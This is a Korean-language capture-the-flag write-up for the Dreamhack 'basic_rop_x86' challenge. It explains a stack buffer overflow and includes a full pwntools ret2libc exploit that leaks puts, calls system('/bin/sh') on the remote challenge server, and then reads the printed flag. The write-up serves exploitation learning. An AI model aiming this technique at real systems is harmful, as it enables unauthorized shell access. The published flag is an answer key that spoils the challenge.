Description
이 문제는 서버에서 작동하고 있는 서비스(basic_rop_x86)의 바이너리와 소스 코드가 주어집니다.
Return Oriented Programming 공격 기법을 통해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.
Environment
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
Files
ubuntu@29c7cfc91700:~/dreamhack-CTF $ tree basic_rop_x86 basic_rop_x86 |-- Dockerfile |-- basic_rop_x86 |-- basic_rop_x86.c |-- flag `-- libc.so.6 0 directories, 5 files
32비트 libc.so.6 라이브러리 파일과 basic_rop_x86 리눅스 32비트 실행 파일, 그리고 소스코드가 주어진다.
아래 명령어로 도커로 환경 구축할 필요없이 patchelf를 통해
basic_rop_x86 실행 파일을 문제파일과 같이 제공된 libc.so.6 라이브러리로 교체해줄 수 있다.
ubuntu@29c7cfc91700:~/HackingLab/basic_rop_x86$ ldd ./basic_rop_x86 linux-gate.so.1 (0xf7f81000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d40000) /lib/ld-linux.so.2 (0xf7f83000) ubuntu@29c7cfc91700:~/HackingLab/basic_rop_x86$ patchelf --replace-needed libc.so.6 ./libc.so.6 ./basic_rop_x86 ubuntu@29c7cfc91700:~/HackingLab/basic_rop_x86$ ldd ./basic_rop_x86 linux-gate.so.1 (0xf7ecc000) ./libc.so.6 (0xf7c95000) /lib/ld-linux.so.2 (0xf7ece000)
분석
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[64]; // [esp+0h] [ebp-44h] BYREF
memset(buf, 0, sizeof(buf));
initialize();
read(0, buf, 0x400u);
write(1, buf, 0x40u);
return 0;
}
64바이트 크기를 가진 buf 변수에 read 함수로 0x400만큼이나 읽어온다.
Solution
스택 구조
————————————
ret
————————————
이전 함수의 base pointer <- ebp
————————————
buf[64] <- ebp-0x44
————————————
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7d21cb0 <system>
gdb-peda$ p puts
$2 = {<text variable, no debug info>} 0xf7d4c830 <puts>
gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc.so.6 : 0xf7e930f5 ("/bin/sh")
- 먼저 libc puts 함수에 있는 주소를 leak시키고 main 함수를 다시 호출시키기 위해 페이로드를 구성한다.
(0x48바이트의 더미 데이터 + puts plt 주소 + main 주소 + puts got 주소) - leak된 puts 함수 주소를 이용하여 “/bin/sh” 문자열과 system 주소를 계산해서 쉘을 획득한다.
(0x48바이트의 더미 데이터 + libc system 주소 + 4바이트 더미데이터 + libc “/bin/sh” 문자열 주소)
from pwn import *
context.log_level = 'debug'
warnings.filterwarnings( 'ignore' )
#p = process("./basic_rop_x86")
p = remote('host3.dreamhack.games', 18927)
e = ELF('./basic_rop_x86')
r = ROP(e)
puts_plt = e.symbols['puts']
puts_got = e.got['puts']
main_func = e.symbols['main']
payload = b"\x41" * 0x48 + p32(puts_plt) + p32(main_func) + p32(puts_got)
p.sendline(payload)
print(p.recv(64))
leaked_puts = u32(p.recv(4))
print("[+] leaked puts: " + hex(leaked_puts))
system = leaked_puts - 0x2ab80
sh = leaked_puts + 0x1468c5
print("[+] system: " + hex(system))
payload2 = b"\x41" * 0x48 + p32(system) + b"A"*4 + p32(sh)
p.sendline(payload2)
p.interactive()
FLAG
DH{511346c4606e748addd555cc9947aacf67990d504fac432f5dbb0f14eea8363b}
ubuntu@29c7cfc91700:~/HackingLab/basic_rop_x86$ python3 pwn2.py
[+] Opening connection to host3.dreamhack.games on port 18927: Done
[*] '/home/ubuntu/HackingLab/basic_rop_x86/basic_rop_x86'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8047000)
[*] Loaded 10 cached gadgets for './basic_rop_x86'
[DEBUG] Sent 0x55 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000040 41 41 41 41 41 41 41 41 20 84 04 08 d9 85 04 08 │AAAA│AAAA│ ···│····│
00000050 18 a0 04 08 0a │····│·│
00000055
[DEBUG] Received 0x40 bytes:
b'A' * 0x40
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[DEBUG] Received 0x15 bytes:
00000000 30 68 d7 f7 36 84 04 08 60 55 d2 f7 80 c5 e0 f7 │0h··│6···│`U··│····│
00000010 30 6f d7 f7 0a │0o··│·│
00000015
[+] leaked puts: 0xf7d76830
[+] system: 0xf7d4bcb0
[DEBUG] Sent 0x55 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000040 41 41 41 41 41 41 41 41 b0 bc d4 f7 41 41 41 41 │AAAA│AAAA│····│AAAA│
00000050 f5 d0 eb f7 0a │····│·│
00000055
[*] Switching to interactive mode
6\x84\x0`U\xd2\xf7\x80\xc5\xe0\xf70o\xd7\xf7
$ [DEBUG] Received 0x40 bytes:
b'A' * 0x40
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x13 bytes:
b'basic_rop_x86\n'
b'flag\n'
basic_rop_x86
flag
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x45 bytes:
b'DH{511346c4606e748addd555cc9947aacf67990d504fac432f5dbb0f14eea8363b}\n'
DH{511346c4606e748addd555cc9947aacf67990d504fac432f5dbb0f14eea8363b}
